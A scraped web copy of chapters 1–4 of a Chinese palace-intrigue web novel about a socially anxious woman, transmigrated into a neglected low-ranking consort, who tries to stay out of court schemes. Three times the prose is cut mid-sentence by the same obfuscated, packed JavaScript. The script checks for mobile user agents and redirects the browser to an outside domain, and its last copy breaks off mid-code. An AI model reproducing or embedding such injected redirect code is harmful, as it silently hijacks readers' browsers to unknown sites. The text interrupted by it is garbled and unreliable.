《社恐被听心声后,宫斗躺赢》 1. 第一章 七月流火,天气在早晚有些许凉意,午间依然烈日炎炎。 太阳明晃晃,青石地面上仿佛汪着一层水,一眼望去,令人头晕目眩。 屋内闷热得呼吸都艰难,鸣蝉卯着劲嘶鸣,平添了一层烦乱。 宫女芳荷掀帘进屋,喘着粗气将食盒扔在案桌上。阿箬听到动静,将针线放进笸箩中,从次间走出去,低声与她说起了话。 “天气这般热,怎地又是些腻味的菜式,连只冰碗都见不着。”阿箬抱怨道。 “膳房有的是山珍海味,只怪你我不在得宠的主子跟前伺候,轮不到罢了!”芳荷嗤笑一声,将碗碟哐当摆到案桌上。 “你小声些。”阿箬压低声音提醒了句。 “怕甚,难道还能惩处了你我不成!”芳荷不服气顶撞了回去。 话虽如此,手上动作还是轻了几分。 撷芳阁的主子不得宠,尚食局上至陈尚宫,下至女史,惯会捧高踩低。若是摔碎了碗碟,少不了一顿责罚。 两人的对话,悉数传进江舲这个不得小才人的耳内。对于她们的怨念,江舲无动于衷。 因为,她穿进了一本宫斗书中,书中宫斗高手如云。 原书尚在连载中,江舲看书一目十行,思维跳跃,习惯了碎片化阅读,脑中仅留下模糊的记忆。 外挂是有了,可惜只开了十分之一。 原身只是书中凑数的背景板,品级低的五品才人。 江舲本人则重度社恐喜欢独处,一旦与人打交道说话,不出两句就会心慌气短,紧张得像是做了亏心事。 综上所述,要凑上去与宫斗高手们过招,她倒有一个应对之法。 那便是下跪求饶:“高手饶命!” 不得宠的后宫嫔妃,一应吃穿用度,除去穿戴关乎着皇家脸面,他们不敢做得太过明显。 其余如吃食被克扣,盛夏见不到冰碗,再也正常不过。 一人得道鸡犬升天,江舲被冷落,被差遣来伺候她的阿箬与芳荷,跟着没了前程。 江舲理解她们想要吃香喝辣的心情,毕竟,她也想过得舒舒服服。 可惜,她们都没那个命,也没那个本事! 况且,江舲过得远比她们苦逼。 穿来短短两月,简直度日如年。 从前江舲的心愿,乃是每天都能无所事事躺着。 现在她也算得上是无所事事,两者之间,相差岂止十万八千里。 最根本的区别则是,以前的她自由,独立。只要手机在手,十天半个月不出门都无所谓。 现在的江舲,无聊得快与失去孩子的可云差不多状态。 按照短视频与宫斗文总结的经验,御花园等人群扎堆之处,则是危险的高发地。 人心隔肚皮,江舲不擅长与人打交道,又听不出那些言语机锋,暗藏的陷阱,便干脆闭门不出。 同住撷芳阁的其他几人,会不时来串门。江舲实在避不开,硬着头皮陪坐一会,就是她所有的社交生活。 屋中仅有的几本书,如《女戒》,闺阁诗词,是江舲的第二宝贝,蹲恭桶时的必须之物。 排在第一的宝贝,便是每天所得,三分之一盆冰。 江舲坐在罗汉榻上,守着面前用薄被包裹着的铜盆,默默念着清心咒。 她并不会念清心咒,脑中一遍遍胡乱念叨:“清心咒,清心咒,清心咒……急急如律令,速速降温!” 鬼天气,只能靠着意念与玄学降温。 可惜这些都没甚用,江舲身上仅着薄绸里衣,汗水仍然如雨点一般流下。 “才人,用膳了。”阿箬走进来回禀道。 江舲嗯了声,依旧端坐着不动。 既然菜式腻味,定是些肥腻的羊肉,配着炊饼与煮得稀烂的蕹菜豆芽菘菜等。 早膳吃的羊肉馅太学馒头,打嗝还散发羊膻味。午饭又是腥膻的羊肉,江舲一身羊骚味,兴趣缺缺。 阿箬神色复杂打量着过去,没有多劝,回到南窗边,继续做起了针线。 这偏僻深宫中,如撷芳阁等宫殿,皆住着不得宠的宫女子。 以前连着江舲,苏月两个才人,加上其他无品级的贵人,郡君,御侍等,挨挨挤挤住了八人。 如今的撷芳阁只剩江舲与苏才人苏月,两个御侍,少了一半的人。 谁生了癔症,谁无声无息死去,谁病死,谁被送进皇庙清修,皆司空见惯。 过了一会,江舲打开薄被,伸手探到碗冰冰凉,不由得暗喜。她宝贝地将碗端了出来,脸凑上去,感受着余下碎冰散发的凉意。 惟恐冰化掉,又担心凉着的茶水转热。江舲很是忙碌,裹好薄被护着残冰,捧起碗,喝着她做的“冰茶”。 碗比茶冰,且是陈茶,滋味算不得好,江舲却吃得美滋滋。 当然,世上并无十全十美之事。江舲轻晃着碗,遗憾不已:“要是有高脚杯就好了。” 瞧她这该死的仪式感! 冰茶喝完,想到还有整整一下午要消磨,江舲略微吃了几口饭,回到次间午睡。 天气太热,江舲紧挨着冰盆,才勉强睡了过去。冰盆的碎冰终于熬不住,全部化成了水。 江舲一个翻身,冰盆被打翻,掉在地上发出震天响,惊得她像是一尾梆硬的鱼,惊得瞬间弹坐起身。 阿箬芳荷从耳房赶来,看到地上的盆,打湿的薄被,暗自骂骂咧咧,上前收拾。 这时,苏月出现在门口,好奇打量着屋内的混乱,屈膝盈盈施礼:“江姐姐这是怎地了?” 两人的年纪相仿,都十八岁出头,在原书中同属背景板。 后宫主要以品级高低,谁先得封号来区分大小。 原身比苏月先封才人,她住在卸芳阁的主屋,苏月住在西侧跨院。 苏月五官清秀,肌肤白皙,笑起来时,左边脸颊漾起一个梨涡,甜美娇俏。 原身也是美人,五官秾艳。正值青春年华,盛放的牡丹与她相比,都要逊色几分。 后宫最不缺的便是美人,撷芳阁其余两个御侍,同样花一样的年岁,姿色过人。 她们皆在深宫中,寂寂无名到凋零。 “苏妹妹请坐。”江舲见到苏月,虽与她算熟悉,还是感到局促。同她打了声招呼,先去净房更洗。 磨磨蹭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939471|177287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹭好一阵,江舲不情不愿回到次间。苏月还在,与阿箬讨论着针线活。 江舲连扣子都不会缝,她插不上嘴,不禁松了口气,悄无声息在一旁坐下了。 “江姐姐。”苏月放下了针线,言笑晏晏与江舲说起了话。 她的笑容真诚而热烈,带着几分讨好地道:“阿箬的针线做得真好,江姐姐真是有福了。” 阿箬的针线做得好,为何会成为她的福气,江舲脑子一时没能转过弯。 苏月笑着问道:“德妃娘娘后日寿辰,江姐姐可是打算送德妃娘娘针线活当做寿礼?” 原书中,中宫崔皇后早薨,林贵妃以及赵德妃,柳贤妃等共掌宫务。 江舲听到得宠的赵德妃,脑中顿时警铃大作。她肯定不会前去凑热闹,且她压根不知赵德妃即将过生,更不知宫中嫔妃生辰的规矩,打算拐弯抹角打探一番。 “照着规矩,该送什么?” 话一出口,江舲虽然面上不显,内心却快抓狂。 好一个拐弯抹角! 苏月一愣,掩面咯咯笑起来:“江姐姐真是有趣,宫中姐妹们多,生辰也多,哪有什么规矩。交好的姐妹,互相赠送些寿礼,聚在一起吃杯薄酒罢了。” 也是,后宫有封号的宫女子四十余人,无品级的近三十余人。若都要送礼庆贺的话,后宫比早间的菜市场都要繁忙。 江舲潜意识认为苏月的来意不简单,定是在打探什么,她怕言多必失,便干脆不做声。 苏月眼珠转了转,眉间笼起轻愁:“德妃娘娘深得皇上宠爱,赏赐不断,什么好东西没见过。我就算掏空家底,也拿不出像样的寿礼,只打算前去请个安,道声喜。江姐姐可要一道前往?” 她们同住撷芳阁,苏月去贺寿,她不去的话,就显得轻狂了。 无奈之下,江舲就点了点头:“我也去。” 苏月听罢,复又笑起来,“那后日,我与江姐姐一道前往。” 待苏月离开,阿箬拿着笸箩上前,拿起快做好的罗袜道:“这是奴婢替才人做的,明朝就能做好,才人拿去给德妃娘娘做寿礼。” 江舲微微张了张嘴,掩饰不住地惊讶。 尙衣局只做宫女子的外衫,贴身的衣物,如里衣罗袜等,皆自己领布回去做。 阿箬平时在一边闷不做声做针线,江舲以为她是做来自己用。没曾想到,她竟然是做给赵德妃的寿礼。 “苏才人先前问来问去试探奴婢,哼,奴婢才不会告诉她。” 阿箬愤慨不已,撇嘴道:“才人不要被骗了去,苏才人不安好心,她定早早就备下寿礼讨好德妃娘娘。若得了娘娘赏识,好在皇上面前露脸,让皇上再翻她的牌子。” 江舲听得瞠目结舌,她估计,除她之外,后宫的蚂蚁都擅长宫斗! 苏月的举动,连阿箬都能看出来用意,赵德妃岂能不知。 既然决定远离高手局,江舲主意愈发坚定,她只随大流前去道声恭喜。 到了赵德妃生辰这天,苏月一早就收拾装扮好到主屋等着。 江舲紧张得浑身僵硬,第一次踏出撷芳阁,前往赵德妃住的福宁殿道贺。 2. 第二章 阿箬芳荷随侍前往,江舲拒绝拿寿礼,两人都不大高兴,又怕触霉头,不敢表现出来,便深深低垂着头,闷声不响跟在身后。 待看到苏月的宫女雪雁与鸣翠也双手空空,两人的脸色方缓和了些。 撷芳阁到福宁宫约莫近两盏茶的功夫,天气闷热,走到一半,江舲看到苏月搽得雪白的面孔,像是雨后的粉墙,粉混着水掉落,留下一道道的痕迹。 江舲知道自己的情形也好不到哪里去,一大早阿箬与芳荷就开始伺候她梳妆,搽脂抹粉,身着里三层外三层,粉也一层层往脸上堆。 虽说江舲打心底不愿穿得隆重臃肿,更不愿意在脸上刷墙。但她稳妥起见,绝不标新立异,便由了芳荷阿箬去。 从昨晚开始,江舲想着要去福宁宫,便忍不住开始焦虑,一整晚都没睡好。 到早上出门时,江舲浑身已经僵硬,神思恍惚。 看到苏月的模样,再想着自己此刻定如舞台上的小丑,那股紧张,莫名其妙散了几分。 “我像个小丑,欢笑和掌声,之后就特别空虚寂寞......” 脑中不断回旋着这几句歌词,其余的她记不得了,在一直“寞寞寞”无限循环中,到了福宁宫前。 雪雁与鸣翠上前替苏月理妆,阿箬芳荷也拿了脂粉出来,往江舲脸上扑,填满被汗水冲出的沟壑。 手上没有镜子,江舲只需看苏月。她的面孔又变得雪白,不再似小丑,仿佛脸上贴了一层面具,将真实的她都掩藏在后面。 带着一层盔甲伪装,江舲松弛了些,不动声色打量着庄重华丽的宫殿。 福宁殿热闹中带着井然有序,在门口伺候的宫女前去回禀,另有宫女出来,领着她们进去。 宫中的花草繁盛,两颗估计已上百年的梨树上,结着黄橙橙,拳头大小的梨。江舲仿佛闻到了梨清甜的香气,忍不住口舌生津。 进了大殿,凉意暖香扑面,舒服得江舲差点没喟叹出声。顺眼看去,墙角摆着一排冰鉴,徐徐冒着寒意。 想到自己那点碎冰,江舲开始冒酸水。 人比人,真是气死人! 不过,再看到坐在上首的赵德妃赵婉清时,江舲那点酸水,立刻咽了回去。 赵德妃头戴点翠珠冠,身着朱红织金折枝花纹礼衣,脚穿丝履。眉间点着蜻蜓翠钿。身形丰盈,满月般的面孔,眼尾微微上挑,嘟着的嘴,美貌归美貌,只在全是美人的后宫中并不算出挑。 只她的气质独特,今年已过二十五岁,在后妃中并不算年轻,浑身上下却透出一股天真懵懂的风情,勾人心魄而不自知。 苏月上前见礼,脸上堆满笑道:“今朝是娘娘的寿辰,恭贺娘娘福履康宁,千秋吉祥。” 江舲这时控制不住地变得局促起来,跟在苏月身后道了贺。赵德妃一双美眸在她们身上扫过,面带笑意颔首,“两位妹妹有心了,请坐吧。” 殿内已经坐了好几人,跟赵德妃一母同胞的亲姐姐赵嫔赵婉滢,在她的左下首,李婕妤随赵嫔坐着,两人说着天气等闲话。林婕妤与夏美人坐在右侧,附赵德妃住在福宁宫的贵人郡君,则坐在末座。 苏月道了谢,向赵嫔李婕妤等见礼。江舲混在其中,与她们团团见礼,等坐下来时,汗水又湿透衣衫,紧贴在身上。 宫女上了茶水,江舲端起来抿了两口。茶水香浓,不冷不热吃下肚,总算舒了口气。 她与苏月品级低,座次离得远,正好不用说话,开始有闲心打量众人。 赵嫔与赵德妃五官有几分相似,她性情温婉端庄,身形纤细,姐妹俩的气质便完全不同。她进宫早,生了二公主萧珈棠,被封为嫔。赵德妃进宫晚,很是得宠,生了二皇子之后,便被封为了德妃。 李婕妤林婕妤等人,环肥燕瘦,各有千秋。江舲发现了一个共同点,她们脸上都涂着粉,同样戴了一张面具般。言笑晏晏说着话,却看不清真实的神情,不禁顿悟。 面具,深宫最好的妆容! “大姐姐,阿棠怎地没来,先前阿珏还在念叨,想要与阿棠玩耍呢。”赵德妃嗔怪地道。 赵嫔笑道:“天气炎热,昨晚阿棠没睡好,精神恹恹,今朝就没让她出门。待天气凉爽些,再让阿棠来给娘娘请安。” 萧珈棠比萧玉珏只大不到一个月,姐妹俩前后脚怀孕。娥皇女英共侍一君,妹妹的份位比姐姐高。 江舲先前就在想着,赵氏姐妹如何称呼。不由得暗戳戳想着,不知她们的这声姐姐,娘娘,叫得可情愿。 萧允珏依偎在赵德妃身边,五岁的他生得圆滚滚,正旁若无人捧着梨吃,汁水溅开,乳母欲上前擦拭,被他不耐烦一掌拍开了。 赵德妃怜爱地抚摸着他的大脑袋,对乳母道:“且退下吧,自由着他去。” 乳母赶忙见礼退下,赵德妃垂下眼眸,复又笑道:“阿珏自小就主意大得很,随了皇上。” 江舲只记得大皇子萧允瑞是林贵妃所出,元明帝就两个儿子,其他公主倒是有四五个,具体由谁所生,她就记不清楚了。 李婕妤等赔笑着奉承了起来:“二皇子聪慧伶俐,真是难得。”“都是娘娘教导得当。” 赵德妃谦虚地推辞,却笑得很是高兴。坐着吃了一会茶,李婕妤起身告辞,“娘娘今朝寿辰,等下还要见娘家的亲人,我就不打扰了。” 按照规矩,后妃不能随时召见娘家亲人进宫。规矩管规矩,到了一定的品级,或者得宠时,娘家亲人可经常进宫。 夏婕妤等跟着起身告退,江舲紧随着她们,也一道告辞。 赵德妃也没多留,道:“待天气凉快些,我再置办几桌酒席,大家一道吃酒。” 过了一阵,母亲高老夫人与娘家兄嫂一并进了宫。赵德妃与赵嫔姐妹一起陪着她们说话,用了午饭后,高老夫人她们出了宫,赵嫔也告退。 赵德妃终于能歇口气,更洗之后,她坐在榻上闭目养神,黄嬷嬷捧着礼单:“娘娘是待闲暇时再瞧,还是现在就过目?” “等下皇上还要来,我何时得闲过。”赵德妃睁开眼,朝黄嬷嬷伸出手去,“拿来吧。” 黄嬷嬷忙将礼单双手奉上,赵德妃一一细看,她缓缓笑起来,“重华宫倒大方,又是一副前朝虞大家的字。正好,我赵氏是武将出身,能跟着林氏沾些文气。” 重华宫是林贵妃的住所,黄嬷嬷垂首聆听,一时不敢插话。 赵德妃道:“柳姐姐既然病了,照着她送来的寿礼,挑差不多的回一份回去,就当做是探病了。”

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赵德妃依靠在软囊上,脸上的笑容淡去,目光锋利而冰冷:“每年都有新鲜水灵的小娘子进宫,我这个老人还能新鲜几年。赵婉滢可是将身边伺候的宫女,生得略微周正些,全都推到了皇上面前。既然有现成的送上门来,我又何须推却。她苏月在这个宫中,随便抓就是一大把。她心头火热,我就成全了她。她要能重得皇上宠幸,是我成全了她,她总得承我一份情。要是她没出息,我又没甚损失。” 黄嬷嬷赶忙道:“还是娘娘聪慧,看得长远。奴婢等下就让人去传话。” 赵德妃抬了抬手,黄嬷嬷退下,她合眼午歇。 由俭入奢易,由奢入俭难。江舲离开冰凉舒适的福宁宫,回到撷芳阁捧着她的碎冰盆,总觉着天气似乎更热了些。 翌日,阿箬去领冰盆回来,她脸颊红扑扑,一头扎进次间,声音几乎都快走形:“才人,雪雁去冰炭房领冰,冰炭房的两个小黄门,亲自抬了两大框冰送到西跨院!” 芳荷正在收拾茶盏,闻言抬起头,惊异万分道:“怎会如此?” 阿箬喘过一口气,艳羡又生气地道:“我打听了一下,听说昨日下午,苏才人被德妃娘娘叫去福宁殿吃茶。皇上来给娘娘贺寿,在福宁宫见到了苏才人,晚上点了苏才人侍寝。皇上赏了苏才人两匹轻纱罗,冰炭房哪敢再克扣她的冰!” 她看向江舲,怒其不争道:“才人,奴婢就说,苏才人肯定会趁着德妃娘娘寿辰,赶上去巴结。偏生才人不听,不肯送礼。要是才人能在皇上面前露面,哪轮得到她!” 江舲搂着她的碎冰盆,听得瞠目结舌,瑟瑟发抖。 苏月能被赵德妃叫去,肯定暗中使了手段。 赵德妃顺水推舟把苏月送到元明帝面前,用意何在? 她以后,是不是要让出正屋,该叫苏月姐姐了? 可怜她一样都想不明白,宫斗实在太可怕了! 这时,门外传来雪雁的声音,阿箬忙走了出去。片刻后,苏月走在前,她与雪雁抬着满满一盆冰随后走了进屋。 苏月一扫以前的小心翼翼,挺得笔直的背,人都仿佛高了一截。 她笑容满面道:“我那屋子小,冰多了些,恐冷得遭受不住。你的屋子宽敞,给你送些来凉快凉快。” 江舲懵住,苏月究竟是来送冰,还是来提醒她,识相些赶紧叫姐姐,主动让出正屋? 3. 第三章 “苏姐姐。”江舲顺从地改口,称苏月为姐姐。 “正屋宽敞,苏姐姐搬来正屋住吧,我马上去收拾。” 她没眼力见,听不懂弦外之音,在后宫宫斗,连片头都活不过。 不过她比夏春秋勉强好一丁点,求饶的速度,远快过对手的出招。 苏月上面有人,又得了恩宠,与她争强斗胜就是找死。 搬到西跨院也有好处,与主屋格局相似,只屋子狭窄些。夏天降温无需太多的冰,冬天取暖,炭同样也用得少。 苏月眸中的得意一闪而过,忙按住了要下榻的江舲:“江妹妹,使不得,使不得。” 江舲愣在那里,苏月认下了姐姐的名头,却又拦住了她,究竟用意何在? “我并非是要来妹妹搬走。”苏月笑起来,收回手,拿帕子蘸了蘸额角的汗水。 “江妹妹,同住在撷芳阁的姐妹,我都送了冰。你与我一样,出身不显。我阿爹只是县丞,江妹妹阿爹是县令,要略微强一些。只在这后宫,县丞县令如何拿得出手?” 江舲愣愣听着,不明白苏月为何说起了她们的出身。不过这样也好,至少她能多了解些原书中未曾提及的内容。 “你我在后宫不得宠,娘家做不了你我的助力,你我也拉扯不了娘家。不得宠的宫女子,夏日熬酷暑,冬日熬严寒。这撷芳阁,好些个都没熬过去,年纪轻轻就没了。” 苏月想到生母黄姨娘,心被针扎了一般难受,声音止不住地变得哽咽。末了,她拿起帕子,又蘸了蘸眼角。 江舲下意识盯着她的动作,一时没分清,她眼角是泪还是汗。 苏月放下帕子,脸上复又浮起笑容,左脸颊的梨涡深深,娇俏可人。她携住江舲的手,道:“我日子稍微好了些,哪能忍心看着姐妹吃苦。同住在撷芳阁这两年,彼此过得都不容易,当守望相助才是。” 江舲不习惯与别人肢体接触,尤其是夏日时节,她身上汗津津,苏月手心黏腻。她浑身都觉着不舒服,犹如木头一样僵硬地杵着。 听苏月的意思,她就是一片好心,照顾她们这些不得宠的邻居。 江舲潜意识怀疑,脑中闪过刷到的宫斗视频。 冰中兴许藏有毒,可能是麝香或藏红花。亦或,一小心踩在湿滑的冰上摔跤,然后滑胎! 旋即,江舲又暗暗窃喜。 只怕她们的手段要落空了,因为,她并未怀孕! 苏月不在意江舲的木讷,言笑晏晏轻拍她的手:“江妹妹看上去精神不济,也是,大热的天气,连树都被晒得蔫了,何况是人。有冰能凉快些,江妹妹且歇着吧。” “多谢江姐姐。”江舲道了谢,让阿箬芳荷将冰倒出来,盆还给雪雁,送了苏月出门。 人一走,江舲霎时长长松了口气,那些乱七八糟的念头不翼而飞。看到满满的一盆冰,顿时大喜,赶忙拿了薄被包裹住,倒了一碗茶放进去做冰茶。 芳荷朝外啐了口,暼了眼江舲,小声道:“几块冰罢了,亏得她好意思拿出来到处炫耀。才人也是,论相貌,得宠,家世,她哪一样能与才人比,才人竟然要让出主屋,称她做姐姐!” “可不是。”阿箬最气不过,一屁股在锦凳上坐下,拉下脸数落起江舲。 “她得的冰,赏赐,本该属于才人。只怪才人自己不求上进,进了这后宫,人人都在替自己打算,哪有人傻得将好处推出去。趁着年轻,能多得几次恩宠,生个一子半女,以后也有个依靠。“” 江舲很少理会阿箬芳荷,无论她们甩脸子,还是抱怨骂骂咧咧,她都无所谓。 一来深宫寂寥,得不到宣泄的话,迟早会发疯。 二来她们进宫比江舲原身还早,身为后宫的老人,江舲又是新手中的新手,自不会好为人师,指导她们做事。 如今她们越说越过,而且对江舲抱有不切实际的希望,将荣华富贵都押在了她身上,让她很有压力。 江舲必须出言敲打,收服震慑住她们! “你们还是打消念头吧,我没那个本事。” 虽离原来的虎躯一震,八方跪服的设想差了十万八千里,江舲却难得轻松。她擅长有话直说,弯弯绕绕,反而画虎不成反类犬。 阿箬芳荷彼此面面相觑,两人都一脸的郁闷。 “只看到贼吃肉,没看到贼挨打。”江舲慢吞吞补充了句。 苏月定是伏低做小,投靠了赵德妃,才承了宠。 赵德妃之上,还有林贵妃。两人是对手,苏月为何会选赵德妃,江舲不清楚,但苏月此举,就站在了林贵妃的对立面。 后宫当然是皇帝最大,除非苏月能一直得宠,有皇帝撑腰。 原书中苏月与她一样,皆是背景板。为何她突然会跳出来,江舲也一头雾水。 她的结局,要不成为宫斗炮灰,要不笑到最后。 无论哪一种,江舲都不会胡乱掺和。 选宫女都有容貌要求,歪瓜裂枣肯定不会选进宫。江舲打量着两人,阿箬五官清秀,芳荷硬朗些,颇有几分英气。 于是,江舲诚恳提议道:“你们生得也不错,我觉着,你们可以去争着到皇上跟前露脸,说不定能得皇上宠爱。比盼着我得宠,你们能跟着享福要切实际。” 两人早就在元明帝宠幸江舲时露过脸,那时她们还年轻,未曾被宠幸。如今上了年岁,元明帝后宫多得是鲜灵的宫女嫔妃,哪能看上她们。 何况,阿箬从未想过承宠,她想升女官,女官有可能得封号,恩准出宫婚配时,能得一门好亲。 芳荷则是想着能多存些钱财,待三十左右求个恩准放出宫,有银钱傍身,日子能过得舒坦些。 阿箬将婚配成亲的念头隐去,抢白道:“奴婢可不敢肖想皇上恩宠。奴婢只想着做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939473|177287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好宫女,以后能升女官。” 芳荷紧跟着道:“奴婢也从未想过承宠。才人得宠,奴婢也能多得些赏钱,日子能过得舒坦些。” 人各有志,江舲当然不会干涉她们的选择,只实事求是指路,免得她们总推她出去争宠,她们能从中得好处。 “原来你们是这般的想法,既然这样,你们该想法去福宁宫,重华宫当差。” 阿箬张了张嘴,最终半个字都说不出来,芳荷同样哑了声。 她们哪有本事挑挑拣拣,休说去林贵妃赵德妃跟前当差,就是柳贤妃赵嫔处,她们都攀不上。 江舲看着她们的反应,顿时了然。她们与她一样,也是没那个本事! 言尽于此,江舲不再多言。否则,她们觉着厌烦,她也口渴。 人百分十九十九的烦恼,都来自于欲望与能力的不匹配。后宫中的诸多争斗,皆来自欲望,权势,荣宠,荣华富贵。 江舲很是愉快,取出冰茶,小口啜饮。 至于苏月送冰来的用意如何,她想不通,也就不去想了。 她并无超出能力的欲望,只要远离这些纷争,肯定能平安活到终老。 屋外闷热不堪,天上乌云飘过,太阳在云层中若隐若现。 雪雁赶忙道:“才人快些回去吧,瞧这天,好似要下雨了。” “变天了啊。”苏月抬头望着天际,喃喃念了句。 雪雁热得一头身汗,皱眉道:“她们不来给才人道贺,才人反倒亲自来给她们送冰,照奴婢看来,江才人就是绣花枕头,亏得她生了一张好看的面孔,人却迟钝蠢笨,这辈子都出不了头。这撷芳阁,就该才人住主屋。” 鸣翠老实巴交得跟木头一样,雪雁聪明伶俐,苏月只有她得用。 见她愤愤不平,苏月解释道:“我亲自来送冰,告诉她们,有我的好处,自不会忘了她们,跟着我能吃香喝辣。以后她们有无出息是一回事,总能有些用处。” 雪雁怔住,点头应了,低声道:“也是,才人得一次宠幸,算不得甚大事。等才人多被翻几次牌子,又与福宁宫走得近,只怕会碍了他人的眼。” 苏月眼里阴沉闪过,她轻轻嗯了声,道:“这后宫中,处处都是鬼魅,冷不丁扑出来咬人一口。福宁宫那边又岂是善茬,我再多被翻几次牌子,就该防着我了,总得提早做好打算。你多与阿箬芳荷来往,给她们些好处。” 雪雁迟疑了下,道:“她们对才人鼻子不是鼻子,眼不是眼。才人曾言她们两人蠢,奴婢以为,她们恐怕靠不住。” “我又不靠她们,有时,蠢货比聪明人好用。” 苏月淡淡说了句,到了西跨院门前,她停下脚步,回头看向主屋。 五开间的屋子,红墙绿廊,陈旧斑驳。 苏月嘴角浮起不屑冷笑:“撷芳阁的主屋,终究只是偏僻冷宫而已,有甚稀罕!” 4. 第四章 冰存不住,苏月送来的一盆冰,不到傍晚便化成了水。幸好入夜之后下起了雨,天气一夜转凉,京城正式入了秋。 秋雨缠绵,连着下个不停。中宫无人,江舲无需晨昏定省,除去吃便是睡。 雨天睡觉最舒服不过,江舲连着睡了几天,这天午后实在睡不着,无聊地半支起窗棂,靠在窗棂边看雨。 天热时扰人的鸣蝉,不知何时悄然消失,惟有沙沙的落雨声。 偌大的撷芳阁,安静得荒凉。 这时,阿箬打着雨伞,雪雁手上端着一盘葡萄,从西跨院方向说笑着走来。 木屐踢哒,耳房那边的门吱呀一声开了。雪雁笑嘻嘻晃了晃手中的葡萄,阿箬也顺眼看了过去。 两人一道朝耳房方向走了去,过了约莫小半个时辰,阿箬领着雪雁进了次间。 “江才人,才人得了些葡萄,让奴婢来给才人尝尝。”雪雁屈膝见礼道。 江舲顺眼看去,原来的两串葡萄,只余下了一串。 后宫肯定不缺四季鲜果,宫女子的份例中并无果子,至少江舲从未见到过。 苏月能得葡萄,不外乎是元明帝赏赐,或是从福宁殿得来。 江舲以前就不大吃水果,并不在意葡萄先被阿箬芳荷吃了一半。且雪雁平时与阿箬芳荷她们来往多,先给她们尝葡萄,倒也稀松寻常。 “苏姐姐有心了。”江舲道了谢,让阿箬收下了葡萄。 雪雁告退离开,阿箬亲亲热热将她送了出去。江舲看向雪白的碟子,配着紫色的葡萄,霎是好看。 漂亮的东西都危险! 江舲防范意识非常强,吃食最容易下毒,脑中又开始浮想联翩,将那些宫斗戏下毒的方式想了个遍。 没一会,阿箬回转进来,大喇喇道:“才人怎地不吃,葡萄是西北来的贡品,精贵得很,甜着呢。” “你吃过了?”江舲问道。 阿箬愣住,照着规矩,江舲未曾用过,她先吃就是僭越。 “每年西北都要上贡葡萄,西北离京城几千里,送到京城极为不易,就那么几框,奴婢哪能吃到。苏才人得脸,幸得了几串。雪雁鸣翠得幸尝过几颗,告诉了奴婢葡萄的滋味。” 阿箬情急之下,回答得倒是天衣无缝,故意酸溜溜道:“奴婢哪有那个福气吃到贡品葡萄。” 江舲本就随口一问,阿箬急赤白脸解释,顿时起了疑。 葡萄以前不过是葡萄常见的水果,江舲没想到是贡品。既然如此难得,苏月只得了几串,却让雪雁送了两串来。 不见的那串葡萄,要么是她们三人私底下克扣着先吃了,要么是苏月的吩咐,阿箬芳荷也有一份。 江舲对她们私下分葡萄之事并不在意,苏月要是特意送给阿箬芳荷,就是在收买人心。 身边人被收买,此事大不妙! 见江舲没再做声,阿箬觑着她一如既往木讷迟钝的神色,扭身往外走去。 “站住。”江舲本在绞尽脑汁想着对策,要如何处理。看到阿箬要离开,脱口叫住了她。 阿箬停下脚步,以为江舲有事要吩咐,问道:“才人有何事?” 江舲紧张之下,冲口而出道:“先前雪雁送葡萄来时,我都看到了。” 阿箬僵住,没想到谁的昏天暗地,雷都打不醒的江舲,居然中午没有睡着!她一下慌乱起来,掩饰问道:“才人看到什么了?” 江舲也懊恼不已,她本来想着不动声色,循循善诱,让阿箬主动交代。谁曾想,一开口就交了底, 事已至此,江舲干脆道:“你去把芳荷也叫来。” 阿箬顿了顿,赶忙前去叫芳荷。江舲等了好一阵,她们两人才进屋。她无需深思,也清楚两人是在串供。 “苏才人送你们葡萄了?”江舲直截了当问道。 两人悄然递了个眼神,一起上前躬身求情。 阿箬道:“都是奴婢馋嘴,听到是贡品葡萄,就偷偷先尝了。谁知一尝,葡萄着实太甜美,奴婢与雪雁说了,她听罢也很是心动,与奴婢一起偷偷吃了起来。” 芳荷跟着道:“奴婢见阿箬在吃葡萄,奴婢也想吃。葡萄本就没几颗,三人分着吃,很快就吃完了一串。才人向来宽厚,求才人饶了我们这一次,以后我们再也不敢了。” 匆忙对口供,一听就漏洞百出。不过,要不是江舲亲眼所见,估计也就被她们糊弄了过去。 阿箬与雪雁一并从苏月那边过来,而且是趁着她平时午歇的时辰。 要是此事与苏月无关,她不会在午后,让雪雁来办这趟差使。午后苏月也要歇息,阿箬不会在这个时候前去串门。 唯一的可能就是,苏月将阿箬叫了去,给了她与芳荷葡萄。 江舲生气了,很想气势十足叫掌嘴。可惜两人都是一条线上的蚂蚱,要是她们不听,她亲自动手,一没气势,二她没打过人,业务生疏。 究竟要如何处置两人,江舲一时被难住了。 要把两人赶走,江舲必须去找掌管宫务的林贵妃。重新换人来,也不一定会老实。说不定林贵妃得知后,事情只会变得更复杂。 “你们在撒谎!”江舲懊恼不已,质问道:“苏才人究竟让你们做什么事?” “冤枉啊,苏才人没让奴婢做什么。”阿箬急了,赶紧道。 芳荷跟着否认,“苏才人心善,可怜撷芳阁日子过得清苦,赏赐了奴婢们些吃食。” “你们在宫中这些年,一点小恩小惠,就收买了你们,蠢成这样,还想着升官发财。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 